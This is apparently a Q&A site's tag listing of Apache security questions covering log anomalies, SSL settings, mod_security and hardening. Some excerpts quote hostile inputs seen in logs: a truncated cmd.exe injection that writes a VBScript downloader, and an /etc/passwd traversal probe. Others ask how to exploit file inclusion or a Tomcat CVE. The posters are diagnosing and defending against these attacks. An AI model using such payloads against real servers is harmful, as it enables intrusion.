Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

0
votes
2answers
191 views

My Apache log is kind of freaking me out [closed]

So, last night I looked at the Apache log of my shared hosting account for the first time. There was quite a lot of traffic that looked suspicious, specifically a lot of GET request from a domain, ...
0
votes
3answers
1k views

Security checklist for hosting a website on dedicated server - Linux [closed]

I have been searching for a while now. But i can't find a start-up and advanced sought-of checklist to understand the most important things to consider while going for dedicated hosting server for a ...
0
votes
1answer
237 views

What are the consequences of turning on Apache AllowEncodedSlashes?

What are the consequences of turning on Apache AllowEncodedSlashes? I want to turn it on and I want to know if this any worse than any of the other kinds of injection attacks that may occur in web ...
0
votes
1answer
113 views

How bad of a practice is it to mount tomcat's manager to Apache2?

If we take into account only security concerns, how bad of a practice is it to mount tomcat's manager to Apache2. E.g.,: JkMount /manager/html* ajp13_worker I'm doing this because my company has ...
0
votes
1answer
587 views

Mod_security rules-updater.pl fails to pull new release

Mod_security has a rules updater distributed with their release packages on sourceforge: http://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/ Usually, you can run the script ...
0
votes
1answer
1k views

removing SSLv3 does not seem to fix POODLE problem [duplicate]

I have removed SSLv3 from my Apache 2.2.15 ssl.conf file with the line SSLProtocol All -SSLv2 -SSLv3 I have restarted httpd but POODLE tests still show vulnerability exists with POODLE. What else ...
0
votes
1answer
54 views

HTTPS enable for proxy server or web server

Say I have 2 separated servers which are one web server (apache) and one proxy server (nginx), I want to use HTTPS for the website running on the Apache. Do I enable SSL on apache or nginx or both? ...
0
votes
0answers
86 views

Which OWASP modsecurity crs version to install on apache 2.2.22

Hello I am considering installing owasp mod_security crs on an ubuntu 12.04.4 which comes with apache 2.2.22. On the github page I have seen many version's but all tutorials were using 2.2.7 First I ...
0
votes
0answers
65 views

Current State of BREACH (GZIP SSL Attack)?

It has been one year since BREACH made our way into our hearts, and there does not seem to be any articles or posts or patches since then, is my Google-fu weakening? Has BREACH been mitigated or ...
0
votes
0answers
25 views

Mysql Virtual IP and timeout

What are the risk that I encounter when increasing the timeout of a vip between a web server (apache) and mysql cluster (two servers). Actually it is set to 5 minutes. If time_out was 1hour, knowing ...
0
votes
0answers
48 views

trackback spotted in multple http errors

[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does ...
0
votes
1answer
115 views

ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
0
votes
0answers
21 views

Someone is making this request to the php cgi on by apache2 server, what does it mean do? [duplicate]

These are the query parameters the hacker is trying to POST: ...
0
votes
4answers
244 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
0
votes
1answer
699 views

WSO 2.5 Found on Apache

I have found on my web server the file wp-conf.php which when you call it from the browser with a url parameter like wp-conf.php?t7831n=any value shows an interface where you can control the entire ...
0
votes
1answer
462 views

What security concerns exist in running a glassfish app directly on port 443

I have installed Apache http server in front of glassfish based on recommendations i had in this question. I have been told that i will run into performance problems along with security issues. I was ...
0
votes
2answers
148 views

Apache Server Maintains HTTPS Connection To Mysterious Server (Hijacking?)

I've been on a shared webhosting plan for 10 years and I recently moved all of my sites (various WordPress sites and associated plugins, all in PHP, a MediaWiki site, and a lot of static stuff) to my ...
-1
votes
1answer
374 views

Is this new hack attempt something to worry about?

- - [22/Sep/2014:13:54:24 -0600] "GET /?search==%00{.exec|cmd.exe +%2Fc +echo%3E22222.vbs +dim +wait%2Cquit%2Cout%3ASet +xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet +WshShell ...
-1
votes
1answer
3k views

Incorrect file permissions for LAMP [closed]

I have installed Apache 2.4.6 on my server and have the following virtual host config: <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName foobar1.com DocumentRoot ...
-1
votes
1answer
542 views

Prevent URL manipulations including /proc and /etc with fail2ban

I get many attacks on my debian apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd How can I block these attacks?
-1
votes
1answer
400 views

How to exploit a local file inclusion vulnerability in a Solaris server [closed]

I am trying to exploit a local file inclusion vulnerability on a Solaris server for my security course. The server is running Apache2 through CoolStack. What is the file that I need to open? The ...
-2
votes
2answers
116 views

My VPS has been shut down now again for the second time for TOS violations, and I really need some help. [closed]

My VPS has been shut down now again for the second time for TOS violations (email spam), and I really need some help. I have been battling with my server being attacked for over a year now. Most of my ...
-2
votes
2answers
80 views

LAMP Stack Tiers - why?

What are the vulnerabilities mitigated by a tiered LAMP stack? As I understand it, any breach would allow access to the database even if it was tiered. What's the benefit? Are we better to ...
-3
votes
1answer
530 views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
-4
votes
1answer
922 views

Exploiting tomcat's vulnerability CVE-2009-2693 Arbitrary file deletion and/or alteration on deploy [closed]

For some tests, I want to exploit tomcat 6 vulnerability CVE-2009-2693. You can see it here http://tomcat.apache.org/security-6.html I am trying this with insecure web application of OWASP. I made ...